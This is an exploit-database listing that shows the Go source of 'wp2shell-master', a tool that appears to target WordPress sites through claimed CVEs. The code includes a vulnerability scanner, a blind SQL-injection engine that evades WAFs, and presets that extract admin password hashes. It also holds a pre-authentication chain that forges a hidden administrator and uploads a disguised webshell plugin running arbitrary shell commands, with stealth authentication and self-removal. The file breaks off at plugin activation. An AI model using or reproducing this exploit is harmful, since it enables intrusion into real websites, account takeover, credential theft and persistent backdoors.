Exploit database

GH-361c63f0d5dbc942b1c21a07c89729c4

m4xsec/wp2shell-exploit-waf-bypass

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-63030

50 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
m4xsec/wp2shell-exploit-waf-bypassRevision 4caae425427f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

go-scanner/wp2shell-master.go

Go · 50,901 bytes
package main

import (
	"archive/zip"
	"bufio"
	"bytes"
	"crypto/md5"
	"crypto/rand"
	"crypto/tls"
	"encoding/base64"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"io"
	"math/big"
	"mime/multipart"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"os"
	"regexp"
	"sort"
	"strings"
	"sync"
	"time"
	"unicode"
)

const version = "1.0.0"

const banner = `
          ___       ___       __    ___  __        ___     __
 \  / |__  |\ | |__ \/ \_/   |__) |__  /__\  |\/|  |  |__  /\ |\/|
  \/  |___ | \| |___ /\ |    |  \ |___ |    ||  |  |  |___ |  ||  |
                                              wp2shell-master v` + version + `
`

// ========================================================================
// Helpers
// ========================================================================

func randHex(n int) string {
	b := make([]byte, n)
	rand.Read(b)
	return hex.EncodeToString(b)
}

func randAlpha(n int) string {
	const letters = "abcdefghijklmnopqrstuvwxyz"
	b := make([]byte, n)
	for i := range b {
		idx, _ := rand.Int(rand.Reader, big.NewInt(int64(len(letters))))
		b[i] = letters[idx.Int64()]
	}
	return string(b)
}

func randAlphaNum(n int) string {
	const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
	b := make([]byte, n)
	for i := range b {
		idx, _ := rand.Int(rand.Reader, big.NewInt(int64(len(chars))))
		b[i] = chars[idx.Int64()]
	}
	return string(b)
}

func randInt(max int) int {
	n, _ := rand.Int(rand.Reader, big.NewInt(int64(max)))
	return int(n.Int64())
}

func hexEncode(s string) string {
	if s == "" {
		return "''"
	}
	return "0x" + hex.EncodeToString([]byte(s))
}

func info(format string, a ...any)    { fmt.Fprintf(os.Stderr, "[*] "+format+"\n", a...) }
func good(format string, a ...any)    { fmt.Fprintf(os.Stderr, "[+] "+format+"\n", a...) }
func warn(format string, a ...any)    { fmt.Fprintf(os.Stderr, "[!] "+format+"\n", a...) }
func errMsg(format string, a ...any)  { fmt.Fprintf(os.Stderr, "[-] "+format+"\n", a...) }
func printBanner()                    { fmt.Fprint(os.Stderr, banner+"\n") }

// ========================================================================
// HTTP client with cookie jar, TLS skip, redirect preservation
// ========================================================================

type httpClient struct {
	client  *http.Client
	baseURL string
	ua      string
	waf     bool
}

func newHTTPClient(baseURL string, timeout int, proxy string, waf bool) *httpClient {
	jar, _ := cookiejar.New(nil)
	transport := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	if proxy != "" {
		proxyURL, err := url.Parse(proxy)
		if err == nil {
			transport.Proxy = http.ProxyURL(proxyURL)
		}
	}
	c := &http.Client{
		Jar:       jar,
		Transport: transport,
		Timeout:   time.Duration(timeout) * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			if len(via) >= 10 {
				return fmt.Errorf("too many redirects")
			}
			return nil
		},
	}
	return &httpClient{
		client:  c,
		baseURL: strings.TrimRight(baseURL, "/"),
		ua:      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
		waf:     waf,
	}
}

func (h *httpClient) do(method, rawURL string, body []byte, headers map[string]string) (*http.Response, []byte, time.Duration, error) {
	var bodyReader io.Reader
	if body != nil {
		bodyReader = bytes.NewReader(body)
	}
	req, err := http.NewRequest(method, rawURL, bodyReader)
	if err != nil {
		return nil, nil, 0, err
	}
	req.Header.Set("User-Agent", h.ua)
	for k, v := range headers {
		req.Header.Set(k, v)
	}
	start := time.Now()
	resp, err := h.client.Do(req)
	elapsed := time.Since(start)
	if err != nil {
		return nil, nil, elapsed, err
	}
	defer resp.Body.Close()
	data, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
	return resp, data, elapsed, nil
}

func (h *httpClient) get(path string) (*http.Response, []byte, error) {
	u := h.baseURL + path
	resp, data, _, err := h.do("GET", u, nil, nil)
	return resp, data, err
}

func (h *httpClient) wafHeaders() map[string]string {
	hdrs := map[string]string{}
	if h.waf {
		parsed, _ := url.Parse(h.baseURL)
		origin := fmt.Sprintf("%s://%s", parsed.Scheme, parsed.Host)
		hdrs["Origin"] = origin
		hdrs["Referer"] = origin + "/wp-admin/"
	}
	return hdrs
}

func isCloudflareChallenge(resp *http.Response, body []byte) bool {
	if resp == nil {
		return false
	}
	s := string(body)
	if resp.StatusCode == 403 && strings.Contains(s, "cf-ray") {
		return true
	}
	if resp.StatusCode == 503 && strings.Contains(s, "Checking your browser") {
		return true
	}
	if strings.Contains(s, "challenges.cloudflare.com") {
		return true
	}
	return false
}

// ========================================================================
// WAF evasion: unicode escape SQL keywords in JSON
// ========================================================================

var sqlKeywords = []string{
	"author_exclude", "author__not_in",
	"SLEEP", "SELECT", "BENCHMARK", "IF", "UNION", "FROM",
	"WHERE", "SUBSTRING", "ASCII", "CHAR_LENGTH", "CONCAT",
	"COALESCE", "CASE", "WHEN", "THEN", "ELSE", "ORDER",
	"LIMIT", "CONCAT_WS", "OR", "AND", "NOT",
}

func unicodeEscapeKeywords(jsonStr string) string {
	sorted := make([]string, len(sqlKeywords))
	copy(sorted, sqlKeywords)
	sort.Slice(sorted, func(i, j int) bool { return len(sorted[i]) > len(sorted[j]) })

	for _, kw := range sorted {
		pat := regexp.MustCompile(`(?i)(?:[^a-zA-Z]|^)(` + regexp.QuoteMeta(kw) + `)(?:[^a-zA-Z]|$)`)
		jsonStr = pat.ReplaceAllStringFunc(jsonStr, func(match string) string {
			var prefix, suffix string
			kwStart := strings.Index(strings.ToUpper(match), strings.ToUpper(kw))
			if kwStart < 0 {
				return match
			}
			prefix = match[:kwStart]
			suffix = match[kwStart+len(kw):]
			escaped := ""
			for _, c := range match[kwStart : kwStart+len(kw)] {
				escaped += fmt.Sprintf("\\u%04x", c)
			}
			return prefix + escaped + suffix
		})
	}
	return jsonStr
}

// ========================================================================
// Scanner (--scan mode)
// ========================================================================

type scanResult struct {
	Host      string `json:"host"`
	Version   string `json:"version,omitempty"`
	BatchRoute bool   `json:"batch_route"`
	Severity  string `json:"severity,omitempty"`
	CVE       string `json:"cve,omitempty"`
	Verdict   string `json:"verdict"`
}

func isAffected(ver string) (string, string) {
	if ver == "" {
		return "", ""
	}
	parts := regexp.MustCompile(`\d+`).FindAllString(strings.Split(ver, "-")[0], 3)
	if len(parts) < 2 {
		return "", ""
	}
	major, minor, patch := 0, 0, 0
	fmt.Sscanf(parts[0], "%d", &major)
	fmt.Sscanf(parts[1], "%d", &minor)
	if len(parts) > 2 {
		fmt.Sscanf(parts[2], "%d", &patch)
	}

	if major == 6 && minor == 8 && patch <= 5 {
		return "SQLi", "CVE-2026-60137"
	}
	if major == 6 && minor == 9 && patch <= 4 {
		return "RCE", "CVE-2026-63030 (+ CVE-2026-60137)"
	}
	if major == 7 && minor == 0 && patch <= 1 {
		return "RCE", "CVE-2026-63030 (+ CVE-2026-60137)"
	}
	return "", ""
}

func scanHost(host string) scanResult {
	base := host
	if !strings.Contains(base, "://") {
		base = "https://" + base
	}
	base = strings.TrimRight(base, "/")
	c := newHTTPClient(base, 15, "", false)

	result := scanResult{Host: host}

	_, body, err := c.get("/")
	if err != nil {
		result.Verdict = "unreachable"
		return result
	}

	re := regexp.MustCompile(`name="generator" content="WordPress ([^"]+)"`)
	m := re.FindSubmatch(body)
	if m != nil {
		result.Version = strings.TrimSpace(string(m[1]))
	}

	// test batch route
	resp, batchBody, _, _ := c.do("POST", base+"/?rest_route=/batch/v1", []byte("{}"),
		map[string]string{"Content-Type": "application/json"})
	if resp != nil {
		bs := string(batchBody)
		result.BatchRoute = strings.Contains(bs, "rest_missing_callback_param") ||
			strings.Contains(bs, "rest_invalid_param")
	}

	sev, cve := isAffected(result.Version)
	result.Severity = sev
	result.CVE = cve

	switch {
	case sev != "" && result.BatchRoute:
		result.Verdict = fmt.Sprintf("VULNERABLE (%s, %s)", sev, cve)
	case sev != "":
		result.Verdict = fmt.Sprintf("version-affected (%s, %s), route unconfirmed", sev, cve)
	case result.Version != "":
		result.Verdict = "not affected"
	default:
		result.Verdict = "wordpress not detected"
	}
	return result
}

func cmdScan(hosts []string, hostFile string, threads int, jsonOutput bool) int {
	if hostFile != "" {
		f, err := os.Open(hostFile)
		if err == nil {
			scanner := bufio.NewScanner(f)
			for scanner.Scan() {
				line := strings.TrimSpace(scanner.Text())
				if line != "" && !strings.HasPrefix(line, "#") {
					hosts = append(hosts, line)
				}
			}
			f.Close()
		}
	}
	if len(hosts) == 0 {
		errMsg("provide one or more hosts, or -f hosts.txt")
		return 2
	}

	info("scanning %d host(s) for wp2shell exposure ...", len(hosts))

	results := make([]scanResult, len(hosts))
	sem := make(chan struct{}, threads)
	var wg sync.WaitGroup

	for i, h := range hosts {
		wg.Add(1)
		go func(idx int, host string) {
			defer wg.Done()
			sem <- struct{}{}
			results[idx] = scanHost(host)
			<-sem
		}(i, h)
	}
	wg.Wait()

	if jsonOutput {
		enc := json.NewEncoder(os.Stdout)
		enc.SetIndent("", "  ")
		enc.Encode(results)
	} else {
		for _, r := range results {
			ver := ""
			if r.Version != "" {
				ver = "  [" + r.Version + "]"
			}
			fmt.Printf("%-40s %s%s\n", r.Host, r.Verdict, ver)
		}
	}
	return 0
}

// ========================================================================
// Blind SQLi Engine
// ========================================================================

type blindSQLi struct {
	client   *httpClient
	batchURL string
	delay    float64
	baseline float64
	primer   string
	waf      bool
}

func newBlindSQLi(baseURL string, delay float64, timeout int, proxy string, waf bool) *blindSQLi {
	c := newHTTPClient(baseURL, timeout, proxy, waf)
	var batchURL, primer string
	if waf {
		batchURL = c.baseURL + "/wp-json/batch/v1"
		primer = ":"
	} else {
		batchURL = c.baseURL + "/?rest_route=/batch/v1"
		primer = "http://:"
	}
	return &blindSQLi{
		client:   c,
		batchURL: batchURL,
		delay:    delay,
		primer:   primer,
		waf:      waf,
	}
}

func (b *blindSQLi) envelope(authorExclude string) map[string]any {
	var queryPath string
	if b.waf {
		queryPath = "/wp/v2/categories?author_exclude=" + authorExclude
	} else {
		queryPath = "/wp/v2/categories?author_exclude=" + url.QueryEscape(authorExclude)
	}
	return map[string]any{
		"requests": []any{
			map[string]any{"method": "POST", "path": b.primer},
			map[string]any{"method": "POST", "path": "/wp/v2/posts", "body": map[string]any{
				"requests": []any{
					map[string]any{"method": "GET", "path": b.primer},
					map[string]any{"method": "GET", "path": queryPath},
					map[string]any{"method": "GET", "path": "/wp/v2/posts"},
				},
			}},
			map[string]any{"method": "POST", "path": "/batch/v1"},
		},
	}
}

func (b *blindSQLi) sendBatch(payload map[string]any, timeout int) (int, time.Duration, error) {
	jsonBytes, _ := json.Marshal(payload)
	jsonStr := string(jsonBytes)

	if b.waf {
		jsonStr = unicodeEscapeKeywords(jsonStr)
	}

	hdrs := map[string]string{"Content-Type": "application/json"}
	if b.waf {
		parsed, _ := url.Parse(b.client.baseURL)
		origin := fmt.Sprintf("%s://%s", parsed.Scheme, parsed.Host)
		hdrs["Origin"] = origin
		hdrs["Referer"] = origin + "/wp-admin/"
	}

	oldTimeout := b.client.client.Timeout
	if timeout > 0 {
		b.client.client.Timeout = time.Duration(timeout) * time.Second
	}

	resp, _, elapsed, err := b.client.do("POST", b.batchURL, []byte(jsonStr), hdrs)
	b.client.client.Timeout = oldTimeout

	code := 0
	if resp != nil {
		code = resp.StatusCode
	}
	return code, elapsed, err
}

func (b *blindSQLi) probeSleep(seconds float64) float64 {
	inject := fmt.Sprintf("0) OR (SELECT 1 FROM (SELECT SLEEP(%g))x)-- -", seconds)
	_, elapsed, _ := b.sendBatch(b.envelope(inject), int(b.delay)+15)
	return elapsed.Seconds()
}

func (b *blindSQLi) calibrate(rounds int) (float64, float64) {
	fasts := make([]float64, rounds)
	slows := make([]float64, rounds)
	for i := 0; i < rounds; i++ {
		fasts[i] = b.probeSleep(0)
	}
	for i := 0; i < rounds; i++ {
		slows[i] = b.probeSleep(b.delay)
	}
	sort.Float64s(fasts)
	sort.Float64s(slows)
	fast := fasts[rounds/2]
	slow := slows[rounds/2]
	b.baseline = fast
	return fast, slow
}

func (b *blindSQLi) oracle(condition string) bool {
	inject := fmt.Sprintf("0) OR (SELECT 1 FROM (SELECT IF((%s),SLEEP(%g),0))x)-- -", condition, b.delay)
	_, elapsed, _ := b.sendBatch(b.envelope(inject), int(b.delay)+15)
	return elapsed.Seconds() > (b.baseline + b.delay*0.6)
}

func (b *blindSQLi) readScalar(expr string, maxlen int) string {
	val := fmt.Sprintf("COALESCE((%s),'')", expr)

	lo, hi := 0, maxlen
	for lo < hi {
		mid := (lo + hi + 1) / 2
		if b.oracle(fmt.Sprintf("CHAR_LENGTH(%s)>=%d", val, mid)) {
			lo = mid
		} else {
			hi = mid - 1
		}
	}
	length := lo
	if length == 0 {
		return ""
	}

	out := ""
	for pos := 1; pos <= length; pos++ {
		a, bv := 32, 126
		for a < bv {
			mid := (a + bv + 1) / 2
			if b.oracle(fmt.Sprintf("ASCII(SUBSTRING(%s,%d,1))>=%d", val, pos, mid)) {
				a = mid
			} else {
				bv = mid - 1
			}
		}
		out += string(rune(a))
		if pos%4 == 0 || pos == length {
			info("  extracting: %s", out)
		}
	}
	return out
}

func (b *blindSQLi) readInt(query string) int {
	expr := fmt.Sprintf("COALESCE((%s),0)", query)
	lo, hi := 0, 1
	for b.oracle(fmt.Sprintf("%s >= %d", expr, hi)) {
		lo = hi
		hi *= 2
	}
	for lo < hi {
		mid := (lo + hi + 1) / 2
		if b.oracle(fmt.Sprintf("%s >= %d", expr, mid)) {
			lo = mid
		} else {
			hi = mid - 1
		}
	}
	return lo
}

// ========================================================================
// Check mode
// ========================================================================

func cmdCheck(targetURL string, delay float64, timeout int, proxy string, rounds int, waf bool) int {
	b := newBlindSQLi(targetURL, delay, timeout, proxy, waf)
	info("confirming blind SQLi (time-based differential) ...")
	fast, slow := b.calibrate(rounds)
	margin := slow - fast
	info("baseline fast(1=0)=%.3fs  slow(1=1)=%.3fs  margin=%.3fs", fast, slow, margin)
	if margin < b.delay*0.5 {
		errMsg("NOT vulnerable (no measurable time differential)")
		return 1
	}
	good("VULNERABLE — blind time-based SQLi confirmed (CVE-2026-60137 via CVE-2026-63030)")
	return 0
}

// ========================================================================
// Read mode
// ========================================================================

var presets = map[string]func(string) string{
	"version":  func(p string) string { return "@@version" },
	"database": func(p string) string { return "DATABASE()" },
	"db_user":  func(p string) string { return "CURRENT_USER()" },
	"users": func(p string) string {
		return fmt.Sprintf("SELECT CONCAT_WS(0x3a,user_login,user_pass) FROM %susers ORDER BY ID ASC LIMIT 1", p)
	},
	"siteurl": func(p string) string {
		return fmt.Sprintf("SELECT option_value FROM %soptions WHERE option_name=0x7369746575726c LIMIT 1", p)
	},
}

func cmdRead(targetURL, preset, expr, prefix string, maxLen int, delay float64, timeout int, proxy string, rounds int, waf bool) int {
	b := newBlindSQLi(targetURL, delay, timeout, proxy, waf)

	var sqlExpr string
	if expr != "" {
		sqlExpr = expr
	} else {
		fn, ok := presets[preset]
		if !ok {
			errMsg("unknown preset: %s (available: version, database, db_user, users, siteurl)", preset)
			return 2
		}
		sqlExpr = fn(prefix)
	}

	info("calibrating blind-SQLi timing oracle ...")
	b.calibrate(rounds)
	info("extracting via blind SQLi: %s", sqlExpr)
	result := b.readScalar(sqlExpr, maxLen)
	good("%s", result)
	return 0
}

// ========================================================================
// Plugin ZIP builder
// ========================================================================

func buildPluginZip(slug, phpCode string) ([]byte, error) {
	buf := &bytes.Buffer{}
	w := zip.NewWriter(buf)
	f, err := w.Create(slug + "/" + slug + ".php")
	if err != nil {
		return nil, err
	}
	f.Write([]byte(phpCode))
	w.Close()
	return buf.Bytes(), nil
}

// ========================================================================
// Post row builder for UNION forgery
// ========================================================================

func postRow(postID int, content, title, status, name string, parent int, postType string) string {
	h := hexEncode
	parts := []string{
		fmt.Sprintf("%d", postID), "1",
		h("2020-01-01 00:00:00"), h("2020-01-01 00:00:00"),
		h(content), h(title), "''",
		h(status), h("closed"), h("closed"), "''",
		h(name), "''", "''",
		h("2020-01-01 00:00:00"), h("2020-01-01 00:00:00"), "''",
		fmt.Sprintf("%d", parent), "''", "0",
		h(postType), "''", "0",
	}
	return strings.Join(parts, ",")
}

// ========================================================================
// Pre-Auth RCE Engine
// ========================================================================

type rceEngine struct {
	sqli        *blindSQLi
	client      *httpClient
	session     *httpClient
	stealthMode bool
}

func newRCEEngine(baseURL string, sleepTime float64, timeout int, proxy string, waf bool, stealth bool) *rceEngine {
	b := newBlindSQLi(baseURL, sleepTime, timeout, proxy, waf)
	return &rceEngine{
		sqli:        b,
		client:      b.client,
		stealthMode: stealth,
	}
}

func (r *rceEngine) forgeRows(rows []string, extraRequests []map[string]any) {
	query := "1) AND 1=0 UNION ALL SELECT " + strings.Join(rows, " UNION ALL SELECT ") + " -- -"

	var queryPath string
	if r.sqli.waf {
		queryPath = "/wp/v2/widgets?author_exclude=" + query + "&per_page=-1&orderby=none&context=view"
	} else {
		params := url.Values{}
		params.Set("author_exclude", query)
		params.Set("per_page", "-1")
		params.Set("orderby", "none")
		params.Set("context", "view")
		queryPath = "/wp/v2/widgets?" + params.Encode()
	}

	innerRequests := []any{
		map[string]any{"method": "GET", "path": r.sqli.primer},
		map[string]any{"method": "GET", "path": queryPath},
		map[string]any{"method": "GET", "path": "/wp/v2/posts"},
	}
	for _, er := range extraRequests {
		innerRequests = append(innerRequests, er)
	}

	payload := map[string]any{
		"requests": []any{
			map[string]any{"method": "POST", "path": r.sqli.primer},
			map[string]any{"method": "POST", "path": "/wp/v2/posts", "body": map[string]any{
				"requests": innerRequests,
			}},
			map[string]any{"method": "POST", "path": "/batch/v1"},
		},
	}
	r.sqli.sendBatch(payload, 60)
}

type shellHandle struct {
	execCmd func(cmd string) (string, error)
	cleanup func()
}

func (r *rceEngine) deploy() (*shellHandle, string, string, error) {
	b := r.sqli

	// 1. Calibrate
	info("[1/6] Calibrating timing oracle...")
	fast, slow := b.calibrate(3)
	delta := slow - fast
	if delta < b.delay*0.6 {
		return nil, "", "", fmt.Errorf("SQLi timing not confirmed (delta=%.3fs)", delta)
	}
	good("SQLi confirmed (fast=%.3fs slow=%.3fs)", fast, slow)

	// 2. Recon: table prefix + admin
	info("[2/6] Recon: extracting table prefix...")
	postsTable := b.readScalar(
		"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES "+
			"WHERE TABLE_SCHEMA=DATABASE() "+
			"AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "+
			"ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1", 64)
	matched, _ := regexp.MatchString(`^[A-Za-z0-9_$]+$`, postsTable)
	if !matched {
		return nil, "", "", fmt.Errorf("could not resolve posts table: %q", postsTable)
	}
	prefix := postsTable[:len(postsTable)-5]
	if prefix == "" {
		good("Table prefix: (empty)")
	} else {
		good("Table prefix: %s", prefix)
	}

	info("[2/6] Recon: locating administrator account...")
	capKey := hexEncode(prefix + "capabilities")
	capVal := hexEncode(`s:13:"administrator";b:1;`)
	adminID := b.readInt(fmt.Sprintf(
		"SELECT u.ID FROM `%susers` u JOIN `%susermeta` m "+
			"ON m.user_id=u.ID WHERE m.meta_key=%s "+
			"AND INSTR(m.meta_value,%s)>0 "+
			"ORDER BY u.ID LIMIT 1", prefix, prefix, capKey, capVal))
	if adminID < 1 {
		return nil, "", "", fmt.Errorf("could not find administrator account")
	}
	good("Admin ID: %d", adminID)

	// 3. Seed oEmbed caches
	info("[3/6] Finding published post for oEmbed anchor...")
	_, postBody, err := r.client.get("/?rest_route=/wp/v2/posts&per_page=1&_fields=link")
	if err != nil {
		return nil, "", "", fmt.Errorf("could not fetch posts: %v", err)
	}
	var posts []map[string]any
	json.Unmarshal(postBody, &posts)
	if len(posts) == 0 {
		return nil, "", "", fmt.Errorf("no published post found for oEmbed anchor")
	}
	postLink, _ := posts[0]["link"].(string)
	if postLink == "" {
		return nil, "", "", fmt.Errorf("no published post link")
	}
	good("Anchor post: %s", postLink)

	token := randHex(6)
	embedURLs := make([]string, 3)
	for i := 0; i < 3; i++ {
		embedURLs[i] = fmt.Sprintf("%s#%s%d", postLink, token, i)
	}

	info("[3/6] Seeding oEmbed caches (SQLi -> DB writes)...")
	var seedParts []string
	for _, u := range embedURLs {
		seedParts = append(seedParts, fmt.Sprintf(`[embed width="500" height="750"]%s[/embed]`, u))
	}
	seedContent := strings.Join(seedParts, "")
	r.forgeRows([]string{postRow(0, seedContent, "seed", "publish", "seed", 0, "post")}, nil)

	info("[3/6] Recovering seeded oEmbed cache IDs...")
	embedAttr := `a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}`
	cacheIDs := make([]int, 3)
	for i, u := range embedURLs {
		h := md5.Sum([]byte(u + embedAttr))
		key := hex.EncodeToString(h[:])
		pid := b.readInt(fmt.Sprintf(
			"SELECT ID FROM `%s` WHERE post_type=0x6f656d6265645f6361636865 "+
				"AND post_name=0x%s ORDER BY ID DESC LIMIT 1",
			postsTable, hex.EncodeToString([]byte(key))))
		if pid < 1 {
			return nil, "", "", fmt.Errorf("oEmbed cache seeding failed")
		}
		cacheIDs[i] = pid
	}
	good("Cache IDs: %v", cacheIDs)

	// 4. Forge changeset elevation + create admin
	username := "w2s_" + token
	password := "W2s!" + randAlphaNum(16)
	email := username + "@wp2shell.local"
	outer := 1800000000 + randInt(100000000)
	navID := outer + 1
	innerID := outer + 2

	changeset, _ := json.Marshal(map[string]any{
		fmt.Sprintf("nav_menu_item[%d]", navID): map[string]any{
			"value": map[string]any{
				"object_id": 0, "object": "", "menu_item_parent": 0,
				"position": 0, "type": "custom", "title": "proof",
				"url": "https://github.com/dinosn/wp2shell-lab",
				"target": "", "attr_title": "", "description": "proof",
				"classes": "", "xfn": "", "status": "publish",
				"nav_menu_term_id": 0, "_invalid": false,
			},
			"type": "nav_menu_item", "user_id": adminID,
		},
	})

	poisoned := []string{
		postRow(0, fmt.Sprintf(`[embed width="500" height="750"]%s[/embed]`, embedURLs[1]),
			"trigger", "publish", "trigger", 0, "post"),
		postRow(cacheIDs[0], string(changeset), "changeset", "future",
			randHex(16), outer, "customize_changeset"),
		postRow(outer, "outer", "outer", "draft", "outer", cacheIDs[0], "post"),
		postRow(cacheIDs[1], "", "cache", "publish", "cache", cacheIDs[0], "post"),
		postRow(navID, "nav", "nav", "publish", "nav", cacheIDs[2], "nav_menu_item"),
		postRow(cacheIDs[2], "parse", "parse", "parse", "parse", innerID, "request"),
		postRow(innerID, "inner", "inner", "draft", "inner", cacheIDs[2], "post"),
	}

	newAdmin := map[string]any{
		"username": username, "email": email,
		"password": password, "roles": []string{"administrator"},
	}

	info("[4/6] Forging changeset elevation + creating administrator...")
	r.forgeRows(poisoned, []map[string]any{
		{"method": "POST", "path": "/wp/v2/users", "body": newAdmin},
		{"method": "POST", "path": "/wp/v2/users", "body": newAdmin},
	})
	good("Forged admin: %s:%s", username, password)

	// 5. Login and deploy webshell
	info("[5/6] Logging in and deploying webshell...")
	r.session = newHTTPClient(r.client.baseURL, 30, "", r.sqli.waf)

	info("  Collecting login page cookies...")
	resp, body, err := r.session.get("/wp-login.php")
	if err != nil {
		return nil, "", "", fmt.Errorf("login page error: %v", err)
	}
	if isCloudflareChallenge(resp, body) {
		return nil, "", "", fmt.Errorf("Cloudflare JS challenge on wp-login.php")
	}

	info("  POSTing login credentials...")
	loginData := url.Values{
		"log": {username}, "pwd": {password},
		"wp-submit": {"Log In"},
		"redirect_to": {r.client.baseURL + "/wp-admin/"},
		"testcookie": {"1"},
	}
	hdrs := r.session.wafHeaders()
	hdrs["Content-Type"] = "application/x-www-form-urlencoded"
	resp, body, _, err = r.session.do("POST", r.session.baseURL+"/wp-login.php",
		[]byte(loginData.Encode()), hdrs)
	if err != nil {
		return nil, "", "", fmt.Errorf("login POST error: %v", err)
	}
	if isCloudflareChallenge(resp, body) {
		return nil, "", "", fmt.Errorf("Cloudflare challenge on login POST")
	}
	info("  Login response: HTTP %d", resp.StatusCode)

	// Verify login
	_, usersBody, err := r.session.get("/wp-admin/users.php")
	if err != nil || !strings.Contains(string(usersBody), username) {
		errMsg("Admin login failed — changeset elevation may not have created user")
		info("Falling back to credential extraction via SQLi...")
		adminLogin := b.readScalar(fmt.Sprintf(
			"SELECT user_login FROM `%susers` WHERE ID=%d", prefix, adminID), 64)
		adminHash := b.readScalar(fmt.Sprintf(
			"SELECT user_pass FROM `%susers` WHERE ID=%d", prefix, adminID), 72)
		hcMode := "400"
		if strings.HasPrefix(adminHash, "$wp$2") {
			hcMode = "3200 (strip $wp$ prefix)"
		}
		good("=== EXTRACTED ADMIN CREDENTIALS (Pre-Auth) ===")
		good("  Username: %s", adminLogin)
		good("  Hash:     %s", adminHash)
		good("  Crack:    hashcat -m %s", hcMode)
		good("=============================================")
		return nil, "", "", fmt.Errorf("changeset elevation failed; credentials extracted for offline cracking")
	}
	good("Login verified — %s is admin", username)

	// Deploy webshell
	slug := "wp-" + randAlpha(4) + "-" + randHex(8)
	marker := randHex(16)

	var phpCode string
	var authHeader, authToken, cmdParam, rmParam string

	if r.stealthMode {
		authHeader = "X-WP-" + randAlpha(4)
		authToken = randHex(32)
		cmdParam = randAlpha(1 + randInt(3))
		rmParam = randAlpha(1 + randInt(2))

		httpHeader := "HTTP_" + strings.ToUpper(strings.ReplaceAll(authHeader, "-", "_"))
		phpCode = fmt.Sprintf(`<?php
/*
Plugin Name: %s
Description: Performance optimization module
Version: 1.0.%d
*/
if(!isset($_SERVER['%s'])||!hash_equals('%s',$_SERVER['%s'])){return;}
if(isset($_POST['%s'])){require_once ABSPATH.'wp-admin/includes/plugin.php';deactivate_plugins(plugin_basename(__FILE__),true);@unlink(__FILE__);die('%s:REMOVED');}
if(!isset($_POST['%s'])){return;}
$c=base64_decode($_POST['%s']);
echo '%s:';
$ok=false;
if(!$ok&&function_exists('shell_exec')){$r=@shell_exec($c.' 2>&1');if($r!==null){echo $r;$ok=true;}}
if(!$ok&&function_exists('exec')){$a=[];@exec($c.' 2>&1',$a);if($a){echo implode("\n",$a);$ok=true;}}
if(!$ok&&function_exists('passthru')){ob_start();@passthru($c.' 2>&1');$r=ob_get_clean();if($r){echo $r;$ok=true;}}
if(!$ok&&function_exists('system')){ob_start();@system($c.' 2>&1');$r=ob_get_clean();if($r){echo $r;$ok=true;}}
if(!$ok&&function_exists('proc_open')){$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=@proc_open($c,$d,$pp);if(is_resource($p)){fclose($pp[0]);$r=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);if($r){echo $r;$ok=true;}}}
if(!$ok&&function_exists('popen')){$h=@popen($c.' 2>&1','r');if($h){$r=fread($h,65536);pclose($h);if($r){echo $r;$ok=true;}}}
if(!$ok){echo 'BLOCKED:'.ini_get('disable_functions');}
exit;
`, slug, randInt(9), httpHeader, authToken, httpHeader, rmParam, marker, cmdParam, cmdParam, marker)
		info("  Stealth shell: POST body + header auth (%s)", authHeader)
	} else {
		routePath := randHex(12)
		phpCode = fmt.Sprintf(`<?php
/* Plugin Name: %s */
add_action('rest_api_init', function () {
    register_rest_route('wp2shell/v1', '/%s', array(
        'methods' => 'POST', 'permission_callback' => '__return_true',
        'callback' => function ($r) {
            if ($r->get_param('rm')) {
                require_once ABSPATH.'wp-admin/includes/plugin.php';
                deactivate_plugins(plugin_basename(__FILE__), true);
                @unlink(__FILE__);
                return new WP_REST_Response(array(
                    'marker' => '%s', 'output' => 'REMOVED'));
            }
            ob_start(); passthru(base64_decode($r->get_param('c')).' 2>&1');
            $o = ob_get_clean();
            return new WP_REST_Response(array(
                'marker' => '%s', 'output' => $o));
        },
    ));
});
`, slug, routePath, marker, marker)
		cmdParam = routePath // reuse for shell URL
	}

	zipData, err := buildPluginZip(slug, phpCode)
	if err != nil {
		return nil, "", "", fmt.Errorf("zip build error: %v", err)
	}

	// Upload plugin
	info("  Fetching plugin upload page for nonce...")
	_, uploadPage, err := r.session.get("/wp-admin/plugin-install.php?tab=upload")
	if err != nil {
		return nil, "", "", fmt.Errorf("plugin upload page error: %v", err)
	}
	nonceRe := regexp.MustCompile(`name="_wpnonce" value="([^"]+)"`)
	nm := nonceRe.FindSubmatch(uploadPage)
	if nm == nil {
		return nil, "", "", fmt.Errorf("could not extract upload nonce")
	}
	nonce := string(nm[1])
	info("  Got upload nonce: %s...", nonce[:min(9, len(nonce))])

	// Build multipart
	var mpBuf bytes.Buffer
	mpw := multipart.NewWriter(&mpBuf)
	mpw.WriteField("_wpnonce", nonce)
	mpw.WriteField("_wp_http_referer", "/wp-admin/plugin-install.php?tab=upload")
	mpw.WriteField("install-plugin-submit", "Install Now")
	part, _ := mpw.CreateFormFile("pluginzip", slug+".zip")
	part.Write(zipData)
	mpw.Close()

	info("  Uploading webshell plugin...")
	uploadHdrs := r.session.wafHeaders()
	uploadHdrs["Content-Type"] = mpw.FormDataContentType()
	resp, uploadBody, _, err := r.session.do("POST",
		r.session.baseURL+"/wp-admin/update.php?action=upload-plugin",
		mpBuf.Bytes(), uploadHdrs)
	if err != nil {
		return nil, "", "", fmt.Errorf("plugin upload error: %v", err)
	}
	info("  Upload response: HTTP %d", resp.StatusCode)

	// Activate plugin
